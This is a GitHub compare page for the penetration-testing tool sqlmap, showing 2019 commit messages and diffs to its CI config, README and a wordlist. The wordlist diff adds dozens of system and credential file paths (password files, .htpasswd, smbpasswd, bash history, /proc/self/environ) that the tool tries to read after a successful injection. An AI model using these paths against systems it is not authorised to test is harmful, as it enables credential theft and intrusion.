Compare commits

...
225 Commits
Author SHA1 Message Date
Miroslav Stampar 948903f232 Fixes #4024 2019-12-02 10:10:58 +01:00
Miroslav Stampar 20d875a8ce Fixes #4020 2019-11-30 23:10:40 +01:00
raimundmuc f947c5f76e Fix regression introduced by b3cdec5 (#4022) 2019-11-30 22:48:34 +01:00
Miroslav Stampar 1233573df1 Removing leftover 2019-11-30 11:25:38 +01:00
Miroslav Stampar 04ce6ba91b Minor patch 2019-11-30 11:14:41 +01:00
Miroslav Stampar c1f98d07c1 Couple of important patches 2019-11-30 04:42:38 +01:00
Miroslav Stampar fddc818764 New tests 2019-11-29 22:03:16 +01:00
Miroslav Stampar c028fb9003 Patch for websocket (with multiple recv requirement) 2019-11-28 13:53:47 +01:00
Miroslav Stampar 1bfb9efb91 Minor patch 2019-11-28 13:41:02 +01:00
Miroslav Stampar 7731c6c135 Minor patch 2019-11-28 00:29:42 +01:00
Miroslav Stampar 989915b91c Bug fix (type detection in SQLite --common-columns) 2019-11-28 00:02:08 +01:00
Miroslav Stampar 03728a4f20 Bug fix (--common-columns on SQLite) 2019-11-27 23:40:36 +01:00
Miroslav Stampar 47d2cf0c6c Some more tests 2019-11-27 23:26:39 +01:00
Miroslav Stampar ce65733043 Minor patch (problem reported via email) 2019-11-27 12:09:51 +01:00
Miroslav Stampar 6ab1cf8caa Minor cleanup 2019-11-26 16:22:23 +01:00
Miroslav Stampar 78a5573563 Just in case patch 2019-11-26 14:03:22 +01:00
Miroslav Stampar db2e74a810 Minor patch 2019-11-26 13:51:08 +01:00
Miroslav Stampar 04708c6d1a Minor improvement 2019-11-26 13:36:06 +01:00
Miroslav Stampar 6823971442 Minor patch 2019-11-26 13:18:21 +01:00
Miroslav Stampar adf713d18c Minor update 2019-11-25 23:47:29 +01:00
Miroslav Stampar d8e4eede6e Minor patch 2019-11-25 22:59:22 +01:00
Miroslav Stampar 862959f27a Minor check 2019-11-25 22:57:44 +01:00
Miroslav Stampar f1000e0d15 Minor update 2019-11-22 16:25:46 +01:00
Miroslav Stampar 72443ed875 Minor cleanup 2019-11-22 16:22:28 +01:00
Miroslav Stampar 4116ee5f78 Minor update 2019-11-22 16:21:17 +01:00
Miroslav Stampar 6e46624fe0 Fixes #4017 2019-11-22 15:20:45 +01:00
Miroslav Stampar 9c87671e3a Some more experimental updates 2019-11-22 14:39:44 +01:00
Miroslav Stampar d1bb69f917 Minor improvement 2019-11-21 17:26:18 +01:00
Miroslav Stampar 0a266f602c Minor improvement 2019-11-21 15:58:04 +01:00
Miroslav Stampar 9fc856b3a6 Minor update 2019-11-21 14:55:05 +01:00
Miroslav Stampar 737c727e56 Minor update 2019-11-21 13:58:46 +01:00
Miroslav Stampar 5013f767a1 Minor update 2019-11-21 11:41:46 +01:00
Miroslav Stampar b2a8cb8f77 Minor update 2019-11-21 11:36:13 +01:00
Miroslav Stampar 36938f8880 Minor update 2019-11-21 10:46:26 +01:00
Miroslav Stampar 99565f2cb3 Minor update 2019-11-20 17:28:25 +01:00
Miroslav Stampar e808496ed3 Testing something out 2019-11-20 16:46:24 +01:00
Miroslav Stampar 35073ce43b Dealing more with (new) warnings 2019-11-19 13:02:53 +01:00
Miroslav Stampar 7bbeb9e841 Dealing with Python3.8 RuntimeWarning 2019-11-19 12:56:56 +01:00
Miroslav Stampar a0dca74c12 Minor patch 2019-11-19 12:21:39 +01:00
Miroslav Stampar 1f3a5b4d70 Fixes #4016 2019-11-19 11:56:01 +01:00
Miroslav Stampar d87328f799 Patch for #4015 2019-11-18 16:17:17 +01:00
Miroslav Stampar dfb74ffa84 Minor update 2019-11-18 12:37:17 +01:00
Miroslav Stampar 5044894928 Minor update of vuln tests 2019-11-18 12:08:26 +01:00
Miroslav Stampar 0a0c696e84 Minor update 2019-11-18 11:57:06 +01:00
Miroslav Stampar 0977f6df61 Bug fix (disable HTML decoding in XSS checks) 2019-11-18 11:40:07 +01:00
Miroslav Stampar f550a2281f Minor patch (SQLite --tables) 2019-11-17 22:14:32 +01:00
Miroslav Stampar 8fb6268b51 Minor patch (vuln testing) 2019-11-17 22:08:18 +01:00
Miroslav Stampar 531eca7e65 Minor patch 2019-11-17 19:33:48 +01:00
Miroslav Stampar cd61a04e5a Minor expansion of vuln tests 2019-11-17 19:27:35 +01:00
Miroslav Stampar afb3cec133 Bug fix (--where in case of boolean-based blind) 2019-11-17 19:27:19 +01:00
Miroslav Stampar c817a7065e Minor update 2019-11-17 18:54:33 +01:00
Miroslav Stampar f9efc721a9 Minor patch 2019-11-17 18:31:53 +01:00
Miroslav Stampar e57e61eccb Minor patch (drei) 2019-11-17 16:27:16 +01:00
Miroslav Stampar 11adf893c3 Minor update 2019-11-17 16:04:22 +01:00
Miroslav Stampar fbde411228 Minor update 2019-11-17 00:52:04 +01:00
Miroslav Stampar 348795767c Minor improvement 2019-11-17 00:36:39 +01:00
Miroslav Stampar be340fcf11 Patch for -d (DREI) 2019-11-17 00:22:47 +01:00
Miroslav Stampar 6d07d52ccd Minor patch 2019-11-17 00:21:55 +01:00
Miroslav Stampar ac9c2f1210 Minor improvement 2019-11-17 00:21:33 +01:00
Miroslav Stampar 45a2d2a83f Bug fix (TLS/SNI sites misbehaved over --tor/--proxy) 2019-11-15 22:42:56 +01:00
Miroslav Stampar 52a70a087e Minor patch 2019-11-15 22:42:20 +01:00
Miroslav Stampar 87b5be0a5e Minor improvement 2019-11-15 22:27:33 +01:00
Miroslav Stampar 74d3a6d77d Minor patch 2019-11-15 16:36:21 +01:00
Miroslav Stampar 8296c1ed53 Trivial patch 2019-11-15 16:27:05 +01:00
Miroslav Stampar 6a23c5974f Minor update 2019-11-15 16:24:56 +01:00
Miroslav Stampar 2a85dafba8 Removing debug leftover 2019-11-15 16:07:03 +01:00
Miroslav Stampar 1162aa89fc Minor improvement 2019-11-15 16:06:19 +01:00
Miroslav Stampar 0d140b60f1 Fixes #4012 2019-11-15 10:02:51 +01:00
Miroslav Stampar 95c5c20de4 Quick patch for #4012 2019-11-15 09:50:00 +01:00
Miroslav Stampar e34b73b685 Minor update 2019-11-15 09:41:51 +01:00
Miroslav Stampar 7e28c02948 Minor improvements 2019-11-14 14:21:53 +01:00
Miroslav Stampar aa9ff9e8a6 Minor update 2019-11-14 12:51:09 +01:00
Miroslav Stampar 8d877de9b5 Minor update 2019-11-14 12:00:50 +01:00
Miroslav Stampar 2bb5ba7fa2 Bug fix (payload escaping in XML payloads) 2019-11-14 11:49:30 +01:00
Miroslav Stampar 8d608dfdfe Minor patch (too early test start) 2019-11-14 01:29:51 +01:00
Miroslav Stampar c4ebc23336 Minor update 2019-11-13 17:53:28 +01:00
Miroslav Stampar 55d79385cc Trying something out 2019-11-13 14:19:18 +01:00
Miroslav Stampar 7425d4acfb Trying something out 2019-11-13 14:09:51 +01:00
Miroslav Stampar 15f94bd671 Trivial update 2019-11-13 13:56:11 +01:00
Miroslav Stampar 7202bb010c Trying something out for #3802 2019-11-13 13:39:25 +01:00
Miroslav Stampar 77312a8a2e Fixes #4010 2019-11-13 11:29:42 +01:00
Miroslav Stampar 60c7fb3e03 Minor update 2019-11-13 11:17:32 +01:00
Miroslav Stampar e6edecb396 Trivial update 2019-11-13 11:07:46 +01:00
Miroslav Stampar e78e07d752 Fixes #4008 2019-11-13 10:55:02 +01:00
Miroslav Stampar 25541efa44 Minor update 2019-11-12 23:32:09 +01:00
Miroslav Stampar df8fa9cd82 Minor patch 2019-11-12 23:05:32 +01:00
Miroslav Stampar 7b89613c46 Minor improvement for --forms 2019-11-12 23:02:38 +01:00
Miroslav Stampar f382443ddd Minor patch for crawling 2019-11-12 22:51:11 +01:00
Miroslav Stampar e58d68c203 Minor improvement 2019-11-12 15:38:59 +01:00
Miroslav Stampar 541cebdce9 More curl-alike options 2019-11-11 14:18:50 +01:00
Miroslav Stampar d193b6e331 Trivial update 2019-11-11 14:09:02 +01:00
Miroslav Stampar a9b6a07641 Fixes #4006 2019-11-11 14:03:43 +01:00
Miroslav Stampar 39ca71619c Trivial patch 2019-11-11 12:43:45 +01:00
Miroslav Stampar 5f3b397882 Minor update 2019-11-11 12:24:42 +01:00
Miroslav Stampar eb696e17f4 Minor update 2019-11-11 11:20:12 +01:00
Miroslav Stampar 8cdc66fdf7 Bug fix (multiple Ctrl-C in crawling mode) 2019-11-09 01:01:19 +01:00
Miroslav Stampar 72fa5a9c85 Minor update 2019-11-09 00:54:47 +01:00
Miroslav Stampar 87f6db467d Minor patches 2019-11-08 23:45:30 +01:00
Miroslav Stampar 404d8481ad Couple of minor patches 2019-11-08 23:28:51 +01:00
Miroslav Stampar 9ad3cd5176 Fixes #4004 2019-11-08 22:39:55 +01:00
Miroslav Stampar 7eb7bddb25 Minor patch 2019-11-08 15:19:50 +01:00
Miroslav Stampar a90324d592 Minor patch 2019-11-08 15:05:41 +01:00
Miroslav Stampar 6b56715447 Minor update (tends to become ugly) 2019-11-07 17:18:35 +01:00
Miroslav Stampar 360d89cecc Critical bug patch for --crawl/--forms (introduced last week) 2019-11-07 16:23:52 +01:00
Miroslav Stampar abe31c1fbf Minor update 2019-11-07 16:04:32 +01:00
Miroslav Stampar 8ec0c7a691 Trivial update 2019-11-07 13:30:11 +01:00
Miroslav Stampar 145f87c50d Dirty patch for #4001 2019-11-07 13:28:19 +01:00
Miroslav Stampar dc87e10c99 Trivial message update 2019-11-07 00:03:06 +01:00
Miroslav Stampar 39a46d66e2 Skip custom header injection check in --forms/--crawl 2019-11-06 14:53:33 +01:00
Miroslav Stampar 1b1c37e12c Minor update 2019-11-06 14:45:48 +01:00
Miroslav Stampar adbc4bae5d Update of vuln tests 2019-11-06 12:54:18 +01:00
Miroslav Stampar e4a2ac8277 Update of vuln tests 2019-11-06 12:27:47 +01:00
Miroslav Stampar c2b929301e Update of vuln tests 2019-11-06 11:52:50 +01:00
Miroslav Stampar 732267876c Bug fix for SOAP/XML (proper origValue calculation) 2019-11-06 11:39:57 +01:00
Miroslav Stampar 7a1ecf797b Dealing with ugly BeautifulSoup old version warning 2019-11-06 11:26:32 +01:00
Miroslav Stampar fdcde2a2a5 In case of bulk file, crawl-scan-crawl-scan... 2019-11-04 23:53:35 +01:00
Miroslav Stampar 6679d6f427 Trivial update 2019-11-04 22:59:08 +01:00
Miroslav Stampar bb18c4db09 Removing -x as I doubt that anybody uses it 2019-11-04 22:43:28 +01:00
Miroslav Stampar ce9618c307 Implements #3993 2019-11-04 12:53:29 +01:00
Miroslav Stampar c91fcbb0c7 Minor update 2019-11-03 00:33:50 +01:00
Arjun V d43f15be38 Update Orcale System Databases in settings.py (#3996)
Adding the following system schemas to the list of Oracle System Schemas:

ADAMS, JONES, CLARK, BLAKE, DEMO, AURORA$ORB$UNAUTHENTICATED, AWR_STAGE, CSMIG, DSSYS, PERFSTAT, TRACESVR, TSMSYS

http://www.orafaq.com/wiki/List_of_default_database_users
2019-11-03 00:18:11 +01:00
Miroslav Stampar 85def6a662 Adding new option --results-file (thank you Hyundai) 2019-11-01 17:27:30 +01:00
Miroslav Stampar fdfcbb9161 Minor language update 2019-10-31 23:04:26 +01:00
Miroslav Stampar 096953991d Minor update 2019-10-31 22:47:36 +01:00
Miroslav Stampar a660828cec Implementation of crawling results normalization 2019-10-31 22:07:16 +01:00
Miroslav Stampar 273004396c Trivial language update 2019-10-31 21:40:28 +01:00
Miroslav Stampar 1a026e08dc Fixes special cases (e.g. cookie with asterisk skipped GET/POST tests) 2019-10-31 21:27:48 +01:00
Miroslav Stampar e21d4ae344 Minor update 2019-10-31 20:59:14 +01:00
Miroslav Stampar 3af15fee60 Trivial update 2019-10-31 20:49:38 +01:00
Miroslav Stampar 7a6e2df997 Patch for --forms/--crawl (if no protocol specified) 2019-10-31 20:40:37 +01:00
Miroslav Stampar 5c5719b81a Minor refactoring 2019-10-31 20:38:37 +01:00
Miroslav Stampar 7c9c6e4a59 Minor update (thank you Hyundai) 2019-10-31 16:57:15 +01:00
AnonProgrammer007 a422c9bc45 Update README.md (#3992) 2019-10-31 08:37:33 +01:00
Miroslav Stampar 4ede1b80a4 Minor update 2019-10-31 08:31:20 +01:00
Miroslav Stampar 869adc6fef Minor update 2019-10-29 15:07:29 +01:00
Miroslav Stampar a75ab8b128 Minor improvement of table dump formatting 2019-10-29 15:00:53 +01:00
Miroslav Stampar eec9cca85b Minor update 2019-10-29 13:52:11 +01:00
Miroslav Stampar 18d22faacd Fixes #3988 2019-10-28 12:31:17 +01:00
Miroslav Stampar a2ee93344e Adding Tarsier eyes (future logo) 2019-10-23 15:35:44 +02:00
Miroslav Stampar ab2cae3957 Implements #3971 2019-10-23 14:41:14 +02:00
Miroslav Stampar fd8028bb18 Fixes #3977 2019-10-22 14:43:29 +02:00
Miroslav Stampar 1d1da45782 Fixes #3978 2019-10-22 14:39:53 +02:00
Miroslav Stampar 8492509919 Minor update related to the #3976 2019-10-21 10:11:38 +02:00
Miroslav Stampar 9a624605b6 Falling back to web backdoor if UDF fails 2019-10-17 15:16:21 +02:00
Miroslav Stampar 1c3982c32d Update (inlining with other payload styles) 2019-10-17 13:56:41 +02:00
Miroslav Stampar 42480ba901 Update regarding #3928 2019-10-17 13:39:47 +02:00
Miroslav Stampar d02ee47157 Minor cosmetics 2019-10-17 11:53:53 +02:00
Miroslav Stampar 8340f8bcad Minor update 2019-10-17 10:53:12 +02:00
Miroslav Stampar 6bde50dbdc Patch for #3964 2019-10-15 16:08:58 +02:00
Miroslav Stampar 35893c49b8 Minor update of vuln-test 2019-10-15 12:29:39 +02:00
Miroslav Stampar 1a5ed610ce Bug fix (backslash escaping of JSON string values) 2019-10-15 01:05:34 +02:00
Miroslav Stampar 19925b806b Update regarding #3968 2019-10-14 10:42:10 +02:00
Miroslav Stampar 4b5927b734 Fixes #3967 2019-10-14 09:54:00 +02:00
Miroslav Stampar 1fa81fedf3 Patching like a boss (Issue #3962) 2019-10-10 16:23:26 +03:00
Miroslav Stampar 8407344991 Fixes #3961 2019-10-10 16:02:43 +03:00
Miroslav Stampar 17658619dc Fixes #3960 2019-10-10 15:40:56 +03:00
Miroslav Stampar 627d99089f Proper patch for #3955 2019-10-09 20:41:33 +03:00
Miroslav Stampar 9b42319d0e Proper message (Issue #3958) 2019-10-09 20:26:12 +03:00
Miroslav Stampar 63c2d2050d Fixes #3953 2019-10-09 20:06:47 +03:00
Miroslav Stampar aed137ad80 Fixes #3948 2019-10-07 14:20:18 +02:00
Miroslav Stampar 9fd4a4f0d1 Removing deprecated files (online versions available) 2019-10-04 14:15:05 +02:00
Miroslav Stampar 57511ac9df Trivial update 2019-10-04 14:12:15 +02:00
Miroslav Stampar 5f41d94602 Minor update 2019-10-04 13:51:12 +02:00
Miroslav Stampar c8a4e6378f Minor improvement for --forms 2019-10-03 15:09:59 +02:00
Miroslav Stampar 08d3228b5f Minor improvement of --forms (jquery) 2019-10-03 14:38:46 +02:00
Miroslav Stampar 5cc36b452e Minor improvement for crawling 2019-10-02 13:08:13 +02:00
Miroslav Stampar d72660ef04 Adding a support for option-less URL arg 2019-10-01 15:37:09 +02:00
Miroslav Stampar 4833fb3aa6 Adding autocompletion script 2019-09-30 17:50:25 +02:00
Miroslav Stampar f437a54561 Update regarding #3944 2019-09-27 21:59:20 +02:00
Miroslav Stampar f05f84b6e5 Minor bug fix 2019-09-27 21:35:21 +02:00
Miroslav Stampar 871ebfdb70 Fixes #3943 2019-09-27 21:03:21 +02:00
Miroslav Stampar d34619232f Implements #3940 2019-09-26 10:36:47 +02:00
Miroslav Stampar 5168daf6ce Fixes #3939 2019-09-24 10:24:43 +02:00
Miroslav Stampar 95e476d5c9 Fixes #3937 2019-09-22 20:14:43 +02:00
Miroslav Stampar cc8209d648 Patch related to the #3927 2019-09-16 19:29:38 +02:00
Miroslav Stampar 6ec6e86937 Update regarding #3928 2019-09-16 10:18:51 +02:00
Miroslav Stampar 018908c2b1 Fixes #3925 2019-09-16 10:11:28 +02:00
Miroslav Stampar 9e69d6076d Fixes #3929 2019-09-16 10:08:10 +02:00
Miroslav Stampar ad785ea0a2 Fixes #3926 2019-09-16 10:03:19 +02:00
Miroslav Stampar b51f02c2ca Patch related to #3918 2019-09-13 16:30:26 +02:00
Miroslav Stampar ea3de16f24 Implementing PEP 479 (fixes #3924) 2019-09-13 11:38:26 +02:00
Miroslav Stampar f29c4e1e07 Minor generalization regarding last commit (#3917) 2019-09-12 15:29:15 +02:00
Miroslav Stampar e8871b8a99 Fixes #3917 2019-09-12 15:20:00 +02:00
Miroslav Stampar 8b88bb82d3 Minor refactoring 2019-09-11 14:05:25 +02:00
Miroslav Stampar 30fba849e2 Implements #3916 2019-09-09 13:56:37 +02:00
Miroslav Stampar 617c336813 Minor improvements 2019-09-09 11:45:23 +02:00
Miroslav Stampar 89a5892dd9 Dirty patch for #3915 2019-09-09 11:15:13 +02:00
Miroslav Stampar af8a2afde1 Cosmetics (trivial) 2019-09-05 11:33:56 +02:00
Miroslav Stampar ceaf387533 Fixes #3912 2019-09-05 11:22:10 +02:00
Miroslav Stampar e5a1377c36 Minor update 2019-09-05 11:15:43 +02:00
Miroslav Stampar bb61b08c83 Minor update of fingerprints 2019-09-03 14:01:37 +02:00
Miroslav Stampar 2d63441cc4 Minor update 2019-09-02 15:58:57 +02:00
Miroslav Stampar 80f6460f72 Minor update for Firebird 2019-09-02 12:22:32 +02:00
Miroslav Stampar f2c2864ab4 Couple of trivial updates 2019-08-30 14:43:56 +02:00
Miroslav Stampar 9eda11d081 Trivial update 2019-08-29 17:07:16 +02:00
Miroslav Stampar 54e93e53df Fixes #3898 2019-08-27 13:41:30 +02:00
Miroslav Stampar f6e1f11711 Fixes #3897 2019-08-27 13:39:18 +02:00
Miroslav Stampar 0a21635e7f Adding a minor thing (history reasons) 2019-08-26 17:33:03 +02:00
Miroslav Stampar 83aa1ac6a7 Implements #3895 2019-08-26 17:27:32 +02:00
Miroslav Stampar 0aa15a72b0 Minor refactoring 2019-08-26 16:51:17 +02:00
Miroslav Stampar fecd830622 Minor update 2019-08-26 16:46:21 +02:00
Miroslav Stampar 32a4f6c32f Initial patch for #3894 (not final) 2019-08-25 13:20:06 +02:00
Miroslav Stampar 9a47b4025b Trivial update/patch 2019-08-23 09:49:16 +02:00
Miroslav Stampar 1979e7d75b Fixes #3888 2019-08-23 09:40:49 +02:00
Miroslav Stampar 95e6b6c0af Implements #3835 2019-08-22 11:41:06 +02:00
Miroslav Stampar 50b8de00bb Patches #3887 2019-08-22 10:43:38 +02:00
Miroslav Stampar 81289fa7cd Fixes #3886 2019-08-21 15:29:51 +02:00
Miroslav Stampar 576d81aa49 Minor log message update 2019-08-21 15:19:42 +02:00
Miroslav Stampar 009a3c8391 Minor wording update 2019-08-21 14:08:13 +02:00
Miroslav Stampar 65b0dbd4c4 Patches #3884 2019-08-20 00:35:13 +02:00
Miroslav Stampar 5f411f73e7 Fixes #3883 2019-08-20 00:22:55 +02:00
TaeGeun Moon dadb33bfdb Add Korean translation for README (#3881)
* Add Korean translation for README

* Only on main page

* Only on main page
2019-08-16 10:28:23 +02:00
Miroslav Stampar 8584c0b021 Fixes #3880 2019-08-16 09:56:03 +02:00
Miroslav Stampar 3f1a8e81b4 Adding support for #3870 2019-08-13 15:22:02 +02:00
Miroslav Stampar 0e14647573 Minor refactoring 2019-08-13 14:59:10 +02:00
Miroslav Stampar bfe8785ed5 Minor regrouping 2019-08-13 14:55:26 +02:00
Miroslav Stampar 412301bb18 Another trivial patch related to the last commit 2019-08-13 12:29:18 +02:00
Miroslav Stampar fd4becf389 Minor deprecation patch (drei) 2019-08-13 12:27:28 +02:00
Miroslav Stampar aa2682ec16 Fixes #3873 2019-08-13 12:23:45 +02:00
Miroslav Stampar 94ef433a37 Minor update for #3874 2019-08-13 11:58:33 +02:00
Miroslav Stampar 15f6796b04 Fixes #3871 2019-08-11 01:32:20 +02:00
Miroslav Stampar de63238897 Minor patch for --threads and multi Ctrl-C 2019-08-06 02:54:18 +02:00
Miroslav Stampar 1824e5b094 Trivial removal of leftover 2019-08-04 01:05:28 +02:00
Miroslav Stampar a42a7c88bd Fixes #3841 2019-08-04 01:05:13 +02:00
Miroslav Stampar b5063fc25a Implementation for #3859 2019-08-02 20:29:52 +02:00
105 changed files with 2382 additions and 886 deletions
+12 -6
View File
@@ -1,13 +1,19 @@
language: python language: python
dist: trusty jobs:
include:
- python: 2.6
dist: trusty
- python: 2.7
dist: trusty
- python: 3.3
dist: trusty
- python: 3.6
dist: trusty
- python: 3.8
dist: xenial
sudo: false sudo: false
git: git:
depth: 1 depth: 1
python:
- "2.6"
- "2.7"
- "3.3"
- "3.6"
script: script:
- python -c "import sqlmap; import sqlmapapi" - python -c "import sqlmap; import sqlmapapi"
- python sqlmap.py --smoke - python sqlmap.py --smoke
+6 -5
View File
@@ -1,17 +1,17 @@
# sqlmap # sqlmap ![](https://i.imgur.com/fe85aVR.png)
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap) [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).** **The sqlmap project is currently searching for sponsor(s).**
Screenshots Screenshots
---- ----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of features on the wiki. You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of the features on the wiki.
Installation Installation
---- ----
@@ -36,7 +36,7 @@ To get a list of all options and switches use:
python sqlmap.py -hh python sqlmap.py -hh
You can find a sample run [here](https://asciinema.org/a/46601). You can find a sample run [here](https://asciinema.org/a/46601).
To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage). To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Links Links
---- ----
@@ -63,6 +63,7 @@ Translations
* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md)
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md) * [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md) * [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
+163
View File
@@ -192,6 +192,42 @@
/var/log/mysqld.log /var/log/mysqld.log
/var/www/index.php /var/www/index.php
# Reference: https://github.com/sqlmapproject/sqlmap/blob/master/lib/core/settings.py#L809-L810
/var/www/index.php
/usr/local/apache/index.php
/usr/local/apache2/index.php
/usr/local/www/apache22/index.php
/usr/local/www/apache24/index.php
/usr/local/httpd/index.php
/var/www/nginx-default/index.php
/srv/www/index.php
/var/www/config.php
/usr/local/apache/config.php
/usr/local/apache2/config.php
/usr/local/www/apache22/config.php
/usr/local/www/apache24/config.php
/usr/local/httpd/config.php
/var/www/nginx-default/config.php
/srv/www/config.php
# Reference: https://github.com/sqlmapproject/sqlmap/issues/3928
/srv/www/htdocs/index.php
/usr/local/apache2/htdocs/index.php
/usr/local/www/data/index.php
/var/apache2/htdocs/index.php
/var/www/htdocs/index.php
/var/www/html/index.php
/srv/www/htdocs/config.php
/usr/local/apache2/htdocs/config.php
/usr/local/www/data/config.php
/var/apache2/htdocs/config.php
/var/www/htdocs/config.php
/var/www/html/config.php
# Reference: https://www.gracefulsecurity.com/path-traversal-cheat-sheet-linux # Reference: https://www.gracefulsecurity.com/path-traversal-cheat-sheet-linux
/etc/passwd /etc/passwd
@@ -1639,3 +1675,130 @@
\web.config \web.config
\windows\system32\drivers\etc\hosts \windows\system32\drivers\etc\hosts
\windows\win.ini \windows\win.ini
# Reference: https://repo.theoremforge.com/pentesting/tools/blob/0f1f0578739870b633c267789120d85982545a69/Uncategorized/Dump/lfiunix.txt
/etc/apache2/.htpasswd
/etc/apache/.htpasswd
/etc/master.passwd
/etc/muddleftpd/muddleftpd.passwd
/etc/muddleftpd/passwd
/etc/passwd
/etc/passwd~
/etc/passwd-
/etc/pureftpd.passwd
/etc/samba/private/smbpasswd
/etc/samba/smbpasswd
/etc/security/opasswd
/etc/security/passwd
/etc/smbpasswd
\Program Files\xampp\apache\conf\httpd.conf
/usr/local/pgsql/bin/pg_passwd
/usr/local/pgsql/data/passwd
/usr/pkgsrc/net/pureftpd/pureftpd.passwd
/usr/ports/contrib/pure-ftpd/pureftpd.passwd
/usr/ports/ftp/pure-ftpd/pureftpd.passwd
/usr/ports/net/pure-ftpd/pureftpd.passwd
/var/log/exim_rejectlog/etc/passwd
/etc/mysql/conf.d/old_passwords.cnf
/etc/password.master
/var/www/.lighttpdpassword
/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf
/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf
/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php
/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php
/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php
/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini
/Volumes/webBackup/opt/apache2/conf/httpd.conf
/Volumes/webBackup/private/etc/httpd/httpd.conf
/Volumes/webBackup/private/etc/httpd/httpd.conf.default
# Reference: https://pastebin.com/KgPsDXjg
/etc/passwd
/etc/crontab
/etc/hosts
/etc/my.cnf
/etc/.htpasswd
/root/.bash_history
/etc/named.conf
/proc/self/environ
/etc/php.ini
/bin/php.ini
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/apache/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
/usr/local/apache/conf/modsec.conf
/var/cpanel/cpanel.config
/proc/self/environ
/proc/self/fd/2
/etc/ssh/sshd_config
/var/lib/mysql/my.cnf
/etc/mysql/my.cnf
/etc/my.cnf
/etc/logrotate.d/proftpd
/www/logs/proftpd.system.log
/var/log/proftpd
/etc/proftp.conf
/etc/protpd/proftpd.conf
/etc/vhcs2/proftpd/proftpd.conf
/etc/proftpd/modules.conf
/etc/vsftpd.chroot_list
/etc/vsftpd/vsftpd.conf
/etc/vsftpd.conf
/etc/chrootUsers
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
